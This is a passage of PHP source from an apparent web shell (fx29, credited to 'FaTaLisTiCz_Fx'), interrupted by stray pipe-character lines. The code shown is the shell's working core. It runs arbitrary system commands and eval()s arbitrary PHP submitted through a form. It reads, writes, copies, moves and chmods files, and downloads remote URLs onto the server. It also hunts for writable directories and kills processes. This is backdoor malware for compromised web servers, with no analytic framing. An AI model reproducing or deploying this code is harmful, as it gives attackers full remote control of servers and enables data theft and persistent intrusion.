if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to
|
||
".$to."!<br>";}
|
||
|
||
if ($copy_unset) {unset($sess_data["copy"][$k]);}
|
||
|
||
}
|
||
|
||
foreach($sess_data["cut"] as $k=>$v) {
|
||
|
||
$to = $d.basename($v);
|
||
|
||
if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to
|
||
".$to."!<br>";}
|
||
|
||
unset($sess_data["cut"][$k]);
|
||
|
||
}
|
||
|
||
fx29_sess_put($sess_data);
|
||
|
||
if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>
|
||
".$psterr;}
|
||
|
||
$act = "ls";
|
||
|
||
}
|
||
|
||
elseif ($actarcbuff) {
|
||
|
||
$arcerr = "";
|
||
|
||
if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
|
||
|
||
else {$ext = ".tar.gz";}
|
||
|
||
if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
|
||
|
||
$cmdline .= " ".$actarcbuff_path;
|
||
|
||
$objects = array_merge($sess_data["copy"],$sess_data["cut"]);
|
||
|
||
foreach($objects as $v) {
|
||
|
||
$v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
|
||
|
||
if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
|
||
|
||
if (is_dir($v)) {
|
||
|
||
if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .=
|
||
DIRECTORY_SEPARATOR;}
|
||
|
||
$v .= "*";
|
||
|
||
}
|
||
|
||
$cmdline .= " ".$v;
|
||
|
||
}
|
||
|
||
$tmp = realpath(".");
|
||
|
||
chdir($d);
|
||
|
||
$ret = fx29exec($cmdline);
|
||
|
||
chdir($tmp);
|
||
|
||
if (empty($ret)) {$arcerr .= "Can't call archivator
|
||
(".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
|
||
|
||
$ret = str_replace("\r\n","\n",$ret);
|
||
|
||
$ret = explode("\n",$ret);
|
||
|
||
if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset
|
||
($sess_data["copy"][$k]);}}
|
||
|
||
foreach($sess_data["cut"] as $k=>$v) {
|
||
|
||
if (in_array($v,$ret)) {fs_rmobj($v);}
|
||
|
||
unset($sess_data["cut"][$k]);
|
||
|
||
}
|
||
|
||
fx29_sess_put($sess_data);
|
||
|
||
if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
|
||
|
||
$act = "ls";
|
||
|
||
}
|
||
|
||
elseif ($actpastebuff) {
|
||
|
||
$psterr = "";
|
||
|
||
foreach($sess_data["copy"] as $k=>$v) {
|
||
|
||
$to = $d.basename($v);
|
||
|
||
if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!
|
||
<br>";}
|
||
|
||
if ($copy_unset) {unset($sess_data["copy"][$k]);}
|
||
|
||
}
|
||
|
||
foreach($sess_data["cut"] as $k=>$v) {
|
||
|
||
$to = $d.basename($v);
|
||
|
||
if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!
|
||
<br>";}
|
||
|
||
unset($sess_data["cut"][$k]);
|
||
|
||
}
|
||
|
||
fx29_sess_put($sess_data);
|
||
|
||
if (!empty($psterr)) {echo "<b>Error pasting:</b><br>".$psterr;}
|
||
|
||
$act = "ls";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if ($act == "cmd") {
|
||
|
||
@chdir($chdir);
|
||
|
||
if (!empty($submit)) {
|
||
|
||
echo "<div class=barheader>.: Results of Execution :.</div>\n";
|
||
|
||
$olddir = realpath(".");
|
||
|
||
@chdir($d);
|
||
|
||
$ret = fx29exec($cmd);
|
||
|
||
$ret = convert_cyr_string($ret,"d","w");
|
||
|
||
if ($cmd_txt) {
|
||
|
||
$rows = count(explode("\n",$ret))+1;
|
||
|
||
if ($rows < 10) { $rows = 10; } else { $rows = 30; }
|
||
|
||
$cols = 115;
|
||
|
||
echo "<textarea class=shell cols=\"$cols\" rows=\"$rows\" readonly>
|
||
".htmlspecialchars($ret)."</textarea>\n";
|
||
|
||
//echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>
|
||
";
|
||
|
||
}
|
||
|
||
else { echo $ret."<br>"; }
|
||
|
||
@chdir($olddir);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if ($act == "ls") {
|
||
|
||
if (count($ls_arr) > 0) { $list = $ls_arr; }
|
||
|
||
else {
|
||
|
||
$list = array();
|
||
|
||
if ($h = @opendir($d)) {
|
||
|
||
while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
|
||
|
||
closedir($h);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (count($list) == 0) { echo "<div class=fxerrmsg>Can't open folder
|
||
(".htmlspecialchars($d).")!</div>";}
|
||
|
||
else {
|
||
|
||
$objects = array();
|
||
|
||
$vd = "f"; //Viewing mode
|
||
|
||
if ($vd == "f") {
|
||
|
||
$objects["head"] = array();
|
||
|
||
$objects["folders"] = array();
|
||
|
||
$objects["links"] = array();
|
||
|
||
$objects["files"] = array();
|
||
|
||
foreach ($list as $v) {
|
||
|
||
$o = basename($v);
|
||
|
||
$row = array();
|
||
|
||
if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
|
||
|
||
elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
|
||
|
||
elseif (is_dir($v)) {
|
||
|
||
if (is_link($v)) {$type = "LINK";}
|
||
|
||
else {$type = "DIR";}
|
||
|
||
$row[] = $v;
|
||
|
||
$row[] = $type;
|
||
|
||
}
|
||
|
||
elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
|
||
|
||
$row[] = filemtime($v);
|
||
|
||
if (!$win) {
|
||
|
||
$ow = posix_getpwuid(fileowner($v));
|
||
|
||
$gr = posix_getgrgid(filegroup($v));
|
||
|
||
$row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr
|
||
["name"]?$gr["name"]:filegroup($v));
|
||
|
||
}
|
||
|
||
$row[] = fileperms($v);
|
||
|
||
if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
|
||
|
||
elseif (is_link($v)) {$objects["links"][] = $row;}
|
||
|
||
elseif (is_dir($v)) {$objects["folders"][] = $row;}
|
||
|
||
elseif (is_file($v)) {$objects["files"][] = $row;}
|
||
|
||
$i++;
|
||
|
||
}
|
||
|
||
$row = array();
|
||
|
||
$row[] = "<b>Name</b>";
|
||
|
||
$row[] = "<b>Size</b>";
|
||
|
||
$row[] = "<b>Date Modified</b>";
|
||
|
||
if (!$win) {$row[] = "<b>Owner/Group</b>";}
|
||
|
||
$row[] = "<b>Perms</b>";
|
||
|
||
$row[] = "<b>Action</b>";
|
||
|
||
$parsesort = parsesort($sort);
|
||
|
||
$sort = $parsesort[0].$parsesort[1];
|
||
|
||
$k = $parsesort[0];
|
||
|
||
if ($parsesort[1] != "a") {$parsesort[1] = "d";}
|
||
|
||
$y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=
|
||
".$k.($parsesort[1] == "a"?"d":"a")."\">";
|
||
|
||
$y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?
|
||
"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?
|
||
"Asc.":"Desc")."\" border=\"0\"></a>";
|
||
|
||
$row[$k] .= $y;
|
||
|
||
for($i=0;$i<count($row)-1;$i++) {
|
||
|
||
if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=
|
||
".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
|
||
|
||
}
|
||
|
||
$v = $parsesort[0];
|
||
|
||
usort($objects["folders"], "tabsort");
|
||
|
||
usort($objects["links"], "tabsort");
|
||
|
||
usort($objects["files"], "tabsort");
|
||
|
||
if ($parsesort[1] == "d") {
|
||
|
||
$objects["folders"] = array_reverse($objects["folders"]);
|
||
|
||
$objects["files"] = array_reverse($objects["files"]);
|
||
|
||
}
|
||
|
||
$objects = array_merge($objects["head"],$objects
|
||
["folders"],$objects["links"],$objects["files"]);
|
||
|
||
$tab = array();
|
||
|
||
$tab["cols"] = array($row);
|
||
|
||
$tab["head"] = array();
|
||
|
||
$tab["folders"] = array();
|
||
|
||
$tab["links"] = array();
|
||
|
||
$tab["files"] = array();
|
||
|
||
$i = 0;
|
||
|
||
foreach ($objects as $a) {
|
||
|
||
$v = $a[0];
|
||
|
||
$o = basename($v);
|
||
|
||
$dir = dirname($v);
|
||
|
||
if ($disp_fullpath) {$disppath = $v;}
|
||
|
||
else {$disppath = $o;}
|
||
|
||
$disppath = str2mini($disppath,60);
|
||
|
||
if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>
|
||
".$disppath."</strike>";}
|
||
|
||
elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>
|
||
".$disppath."</u>";}
|
||
|
||
foreach ($regxp_highlight as $r) {
|
||
|
||
if (ereg($r[0],$o)) {
|
||
|
||
if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean
|
||
(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] -
|
||
unknown command."; fx29shexit();}
|
||
|
||
else {
|
||
|
||
$r[1] = round($r[1]);
|
||
|
||
$isdir = is_dir($v);
|
||
|
||
if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] =
|
||
= 2) and !$isdir)) {
|
||
|
||
if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
|
||
|
||
$disppath = $r[2].$disppath.$r[3];
|
||
|
||
if ($r[4]) {break;}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
$uo = urlencode($o);
|
||
|
||
$ud = urlencode($dir);
|
||
|
||
$uv = urlencode($v);
|
||
|
||
$row = array();
|
||
|
||
if ($o == ".") {
|
||
|
||
$row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode
|
||
(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=
|
||
small_dir\" border=\"0\"> ".$o."</a>";
|
||
|
||
$row[] = "CURDIR";
|
||
|
||
}
|
||
|
||
elseif ($o == "..") {
|
||
|
||
$row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode
|
||
(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=
|
||
ext_lnk\" border=\"0\"> ".$o."</a>";
|
||
|
||
$row[] = "UPDIR";
|
||
|
||
}
|
||
|
||
elseif (is_dir($v)) {
|
||
|
||
if (is_link($v)) {
|
||
|
||
$disppath .= " => ".readlink($v);
|
||
|
||
$type = "LINK";
|
||
|
||
$row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\
|
||
"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">
|
||
[".$disppath."]</a>";
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
$type = "DIR";
|
||
|
||
$row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."
|
||
\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">
|
||
[".$disppath."]</a>";
|
||
|
||
}
|
||
|
||
$row[] = $type;
|
||
|
||
}
|
||
|
||
elseif(is_file($v)) {
|
||
|
||
$ext = explode(".",$o);
|
||
|
||
$c = count($ext)-1;
|
||
|
||
$ext = $ext[$c];
|
||
|
||
$ext = strtolower($ext);
|
||
|
||
$row[] = "<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img
|
||
src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> ".$disppath."
|
||
</a>";
|
||
|
||
$row[] = view_size($a[1]);
|
||
|
||
}
|
||
|
||
$row[] = date("d.m.Y H:i:s",$a[2]);
|
||
|
||
if (!$win) { $row[] = $a[3]; }
|
||
|
||
$row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>
|
||
".view_perms_color($v)."</b></a>";
|
||
|
||
if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\
|
||
"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
|
||
|
||
else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=
|
||
\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
|
||
|
||
if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\">
|
||
<img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a>&
|
||
nbsp;".$checkbox;}
|
||
|
||
else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=
|
||
".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\
|
||
"16\" width=\"16\" border=\"0\"></a> <a href=\"".$surl."act=f&f=
|
||
".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\
|
||
"Edit\" height=\"16\" width=\"19\" border=\"0\"></a> <a href=\
|
||
"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=
|
||
img&img=download\" alt=\"Download\" border=\"0\"></a> ".$checkbox;}
|
||
|
||
if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
|
||
|
||
elseif (is_link($v)) {$tab["links"][] = $row;}
|
||
|
||
elseif (is_dir($v)) {$tab["folders"][] = $row;}
|
||
|
||
elseif (is_file($v)) {$tab["files"][] = $row;}
|
||
|
||
$i++;
|
||
|
||
}
|
||
|
||
}
|
||
|
||
// Compiling table
|
||
|
||
$table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab
|
||
["links"],$tab["files"]);
|
||
|
||
echo "<div class=barheader>.: ";
|
||
|
||
if (!empty($fx_infohead)) { echo $fx_infohead; }
|
||
|
||
else { echo "Directory List (".count($tab["files"])." files and ".
|
||
(count($tab["folders"])+count($tab["links"]))." folders)"; }
|
||
|
||
echo " :.</div>\n";
|
||
|
||
echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input
|
||
type=hidden name=act value=\"".$dspact."\"><input type=hidden name=d value=
|
||
".$d.">".
|
||
|
||
"<table class=explorer>";
|
||
|
||
foreach($table as $row) {
|
||
|
||
echo "<tr>";
|
||
|
||
foreach($row as $v) {echo "<td>".$v."</td>";}
|
||
|
||
echo "</tr>\r\n";
|
||
|
||
}
|
||
|
||
echo "</table>".
|
||
|
||
"<script>".
|
||
|
||
"function ls_setcheckboxall(status) {".
|
||
|
||
" var id = 1; var num = ".(count($table)-2).";".
|
||
|
||
" while (id <= num) { document.getElementById
|
||
('actbox'+id).checked = status; id++; }".
|
||
|
||
"}".
|
||
|
||
"function ls_reverse_all() {".
|
||
|
||
" var id = 1; var num = ".(count($table)-2).";".
|
||
|
||
" while (id <= num) { document.getElementById
|
||
('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
|
||
id++; }".
|
||
|
||
"}".
|
||
|
||
"</script>".
|
||
|
||
"<div align=\"right\">".
|
||
|
||
"<input type=\"button\" onclick=\"ls_setcheckboxall(true);\"
|
||
value=\"Select all\"> <input type=\"button\" onclick=\
|
||
"ls_setcheckboxall(false);\" value=\"Unselect all\">".
|
||
|
||
"<img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
|
||
|
||
if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and
|
||
($usefsbuff)) {
|
||
|
||
echo "<input type=submit name=actarcbuff value=\"Pack buffer to
|
||
archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\
|
||
"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\"> &
|
||
nbsp; <input type=submit name=\"actpastebuff\" value
|
||
=\"Paste\"> <input type=submit name=\
|
||
"actemptybuff\" value=\"Empty buffer\"> ";
|
||
|
||
}
|
||
|
||
echo "<select name=act><option value=\"".$act."\">With selected:</
|
||
option>";
|
||
|
||
echo "<option value=delete".($dspact == "delete"?" selected":"").">
|
||
Delete</option>";
|
||
|
||
echo "<option value=chmod".($dspact == "chmod"?" selected":"").">
|
||
Change-mode</option>";
|
||
|
||
if ($usefsbuff) {
|
||
|
||
echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</
|
||
option>";
|
||
|
||
echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy
|
||
</option>";
|
||
|
||
echo "<option value=unselect".($dspact == "unselect"?"
|
||
selected":"").">Unselect</option>";
|
||
|
||
}
|
||
|
||
echo "</select> <input type=submit value=\"Confirm\"></div>";
|
||
|
||
echo "</form>";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if ($act == "tools") { tools(); }
|
||
|
||
if ($act == "phpfsys") { //By FaTaLisTiCz_Fx
|
||
|
||
echo "<div align=left>";
|
||
|
||
$fsfunc = $phpfsysfunc;
|
||
|
||
if ($fsfunc=="copy") {
|
||
|
||
if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";}
|
||
|
||
else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; }
|
||
|
||
}
|
||
|
||
elseif ($fsfunc=="rename") {
|
||
|
||
if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";}
|
||
|
||
else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; }
|
||
|
||
}
|
||
|
||
elseif ($fsfunc=="chmod") {
|
||
|
||
if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";}
|
||
|
||
else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; }
|
||
|
||
}
|
||
|
||
elseif ($fsfunc=="read") {
|
||
|
||
$hasil = @file_get_contents($arg1);
|
||
|
||
echo "<b>Filename:</b> ".$d.$arg1."<br>";
|
||
|
||
echo "<center><textarea cols=100 rows=20>";
|
||
|
||
echo htmlentities($hasil);
|
||
|
||
echo "</textarea></center>\n";
|
||
|
||
}
|
||
|
||
elseif ($fsfunc=="write") {
|
||
|
||
if(@file_put_contents($d.$arg1,$arg2)) {
|
||
|
||
echo "<b>Saved!</b> ".$d.$arg1;
|
||
|
||
}
|
||
|
||
else { echo "<div class=fxerrmsg>Can't write to $arg1!</div>"; }
|
||
|
||
}
|
||
|
||
elseif ($fsfunc=="downloadbin") {
|
||
|
||
$handle = fopen($arg1, "rb");
|
||
|
||
$contents = '';
|
||
|
||
while (!feof($handle)) {
|
||
|
||
$contents .= fread($handle, 8192);
|
||
|
||
}
|
||
|
||
$r = @fopen($d.$arg2,'w');
|
||
|
||
if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to
|
||
".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
|
||
|
||
else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>";
|
||
}
|
||
|
||
fclose($r);
|
||
|
||
fclose($handle);
|
||
|
||
}
|
||
|
||
elseif ($fsfunc=="download") {
|
||
|
||
$text = implode('', file($arg1));
|
||
|
||
if ($text) {
|
||
|
||
$r = @fopen($d.$arg2,'w');
|
||
|
||
if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to
|
||
".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
|
||
|
||
else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>
|
||
"; }
|
||
|
||
fclose($r);
|
||
|
||
}
|
||
|
||
else { echo "<div class=fxerrmsg>Can't download from $arg1!</div>";}
|
||
|
||
}
|
||
|
||
elseif ($fsfunc=='mkdir') {
|
||
|
||
$thedir = $d.$arg1;
|
||
|
||
if ($thedir != $d) {
|
||
|
||
if (file_exists($thedir)) { echo "<b>Already exists:</b>
|
||
".htmlspecialchars($thedir); }
|
||
|
||
elseif (!mkdir($thedir)) { echo "<b>Access denied:</b>
|
||
".htmlspecialchars($thedir); }
|
||
|
||
else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
|
||
|
||
}
|
||
|
||
else { echo "Can't create current dir:<b> $thedir</b>"; }
|
||
|
||
}
|
||
|
||
elseif ($fsfunc=='fwritabledir') {
|
||
|
||
function recurse_dir($dir,$max_dir) {
|
||
|
||
global $dir_count;
|
||
|
||
$dir_count++;
|
||
|
||
if( $cdir = dir($dir) ) {
|
||
|
||
while( $entry = $cdir-> read() ) {
|
||
|
||
if( $entry != '.' && $entry != '..' ) {
|
||
|
||
if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
|
||
|
||
if ($dir_count > $max_dir) { return; }
|
||
|
||
echo "[".$dir_count."] ".$dir.$entry."\n";
|
||
|
||
recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
$cdir->close();
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if (!$arg1) { $arg1 = $d; }
|
||
|
||
if (!$arg2) { $arg2 = 10; }
|
||
|
||
if (is_dir($arg1)) {
|
||
|
||
echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<hr noshade
|
||
size=1>";
|
||
|
||
echo "<pre>";
|
||
|
||
recurse_dir($arg1,$arg2);
|
||
|
||
echo "</pre>";
|
||
|
||
$total = $dir_count - 1;
|
||
|
||
echo "<hr noshade size=1><b>Founds:</b> ".$total." of <b>Max</b>
|
||
$arg2";
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
echo "<div class=fxerrmsg>Directory is not exist or permission
|
||
denied!</div>";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill
|
||
parameter [A]!</div>\n"; }
|
||
|
||
else {
|
||
|
||
if ($hasil = $fsfunc($arg1)) {
|
||
|
||
echo "<b>Result of $fsfunc $arg1:</b><br>";
|
||
|
||
if (!is_array($hasil)) { echo "$hasil\n"; }
|
||
|
||
else {
|
||
|
||
echo "<pre>";
|
||
|
||
foreach ($hasil as $v) { echo $v."\n"; }
|
||
|
||
echo "</pre>";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>\n"; }
|
||
|
||
}
|
||
|
||
}
|
||
|
||
echo "</div>\n";
|
||
|
||
}
|
||
|
||
if ($act == "processes") {
|
||
|
||
echo "<div class=barheader>.: Processes :.</div>\n";
|
||
|
||
if (!$win) { $handler = "ps aux".($grep?" | grep '".addslashes
|
||
($grep)."'":""); }
|
||
|
||
else { $handler = "tasklist"; }
|
||
|
||
$ret = fx29exec($handler);
|
||
|
||
if (!$ret) { echo "Can't execute \"".$handler."\"!"; }
|
||
|
||
else {
|
||
|
||
if (empty($processes_sort)) { $processes_sort = $sort_default; }
|
||
|
||
$parsesort = parsesort($processes_sort);
|
||
|
||
if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
|
||
|
||
$k = $parsesort[0];
|
||
|
||
if ($parsesort[1] != "a") {
|
||
|
||
$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&
|
||
processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border
|
||
=\"0\"></a>";
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&
|
||
processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=
|
||
\"9\" width=\"14\" border=\"0\"></a>";
|
||
|
||
}
|
||
|
||
$ret = htmlspecialchars($ret);
|
||
|
||
if (!$win) { //Not Windows
|
||
|
||
if ($pid) {
|
||
|
||
if (is_null($sig)) { $sig = 9; }
|
||
|
||
echo "Sending signal ".$sig." to #".$pid."... ";
|
||
|
||
if (posix_kill($pid,$sig)) { echo "OK."; } else { echo "ERROR.";
|
||
}
|
||
|
||
}
|
||
|
||
while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); }
|
||
|
||
$stack = explode("\n",$ret);
|
||
|
||
$head = explode(" ",$stack[0]);
|
||
|
||
unset($stack[0]);
|
||
|
||
for($i=0;$i<count($head);$i++) {
|
||
|
||
if ($i != $k) {
|
||
|
||
$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode
|
||
($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
$head[$i] = "";
|
||
|
||
$prcs = array();
|
||
|
||
foreach ($stack as $line) {
|
||
|
||
if (!empty($line)) {
|
||
|
||
$line = explode(" ",$line);
|
||
|
||
$line[10] = join(" ",array_slice($line,10));
|
||
|
||
$line = array_slice($line,0,11);
|
||
|
||
if ($line[0] == get_current_user()) { $line[0] = "<font color=
|
||
green>".$line[0]."</font>"; }
|
||
|
||
$line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."
|
||
&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
|
||
|
||
$prcs[] = $line;
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
//For Windows - Fixed By FaTaLisTiCz_Fx
|
||
|
||
else {
|
||
|
||
while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); }
|
||
|
||
while (ereg("=",$ret)) { $ret = str_replace("=","",$ret); }
|
||
|
||
$ret = convert_cyr_string($ret,"d","w");
|
||
|
||
$stack = explode("\n",$ret);
|
||
|
||
unset($stack[0],$stack[2]);
|
||
|
||
$stack = array_values($stack);
|
||
|
||
$stack[0]=str_replace("Image Name","ImageName",$stack[0]);
|
||
|
||
$stack[0]=str_replace("Session Name","SessionName",$stack[0]);
|
||
|
||
$stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
|
||
|
||
$head = explode(" ",$stack[0]);
|
||
|
||
$stack = array_slice($stack,1);
|
||
|
||
$head = array_values($head);
|
||
|
||
if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."act=
|
||
".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\
|
||
"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; }
|
||
|
||
else { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."
|
||
&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" border
|
||
=\"0\"></a>"; }
|
||
|
||
if ($k > count($head)) {$k = count($head)-1;}
|
||
|
||
for($i=0;$i<count($head);$i++) {
|
||
|
||
if ($i != $k) { $head[$i] = "<a href=\"".$surl."act=".$dspact."&d
|
||
=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head
|
||
[$i])."</b></a>"; }
|
||
|
||
}
|
||
|
||
$prcs = array();
|
||
|
||
unset($stack[0]);
|
||
|
||
foreach ($stack as $line) {
|
||
|
||
if (!empty($line)) {
|
||
|
||
$line = explode(" ",$line);
|
||
|
||
$line[4] = str_replace(".","",$line[4]);
|
||
|
||
$line[4] = intval($line[4]) * 1024;
|
||
|
||
unset($line[5]);
|
||
|
||
$prcs[] = $line;
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}
|
||
|
||
$head[$k] = "<b>".$head[$k]."</b>".$y;
|
||
|
||
$v = $processes_sort[0];
|
||
|
||
usort($prcs,"tabsort");
|
||
|
||
if ($processes_sort[1] == "d") { $prcs = array_reverse($prcs); }
|
||
|
||
$tab = array();
|
||
|
||
$tab[] = $head;
|
||
|
||
$tab = array_merge($tab,$prcs);
|
||
|
||
echo "<table class=explorer>\n";
|
||
|
||
foreach($tab as $i=>$k) {
|
||
|
||
echo "<tr>";
|
||
|
||
foreach($k as $j=>$v) {
|
||
|
||
if ($win and $i > 0 and $j == 4) { $v = view_size($v); }
|
||
|
||
echo "<td>".$v."</td>";
|
||
|
||
}
|
||
|
||
echo "</tr>\n";
|
||
|
||
}
|
||
|
||
echo "</table>";
|
||
|
||
}
|
||
|
||
}
|
||
|
||
if ($act == "eval") {
|
||
|
||
if (!empty($eval)) {
|
||
|
||
echo "Result of execution this PHP-code:<br>";
|
||
|
||
$tmp = ob_get_contents();
|
||
|
||
$olddir = realpath(".");
|
||
|
||
@chdir($d);
|
||
|
||
if ($tmp) {
|
||
|
||
ob_clean();
|
||
|
||
eval($eval);
|
||
|
||
$ret = ob_get_contents();
|
||
|
||
$ret = convert_cyr_string($ret,"d","w");
|
||
|
||
ob_clean();
|
||
|
||
echo $tmp;
|
||
|
||
if ($eval_txt) {
|
||
|
||
$rows = count(explode("\r\n",$ret))+1;
|
||
|
||
if ($rows < 10) {$rows = 10;}
|
||
|
||
echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>
|
||
".htmlspecialchars($ret)."</textarea>";
|
||
|
||
}
|
||
|
||
else {echo $ret."<br>";}
|
||
|
||
}
|
||
|
||
else {
|
||
|
||
if ($eval_txt) {
|
||
|
||
echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
|
||
|
||
eval($eval);
|
||
|
||
echo "</textarea>";
|
||
|
||
}
|
||
|
||
else {echo $ret;}
|
||
|
||
}
|
||
|
||
@chdir($olddir);
|
||
|
||
}
|
||
|
||
else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if
|
||
(empty($eval_txt)) {$eval_txt = TRUE;}}
|
||
|
||
echo "<form action=\"".$surl."\" method=POST><input type=hidden name=
|
||
act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">
|
||
".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\
|
||
"".$dispd."\"><br><br><input type=submit value=\"Execute\"> Display in
|
||
text-area <input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if
|
||
($eval_txt) {echo " checked";} echo "></form>";
|
||
|
||
}
|
||
|
||
if ($act == "f") {
|
||
|
||
echo "<div align=left>";
|
||
|
||
if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
|
||
|
||
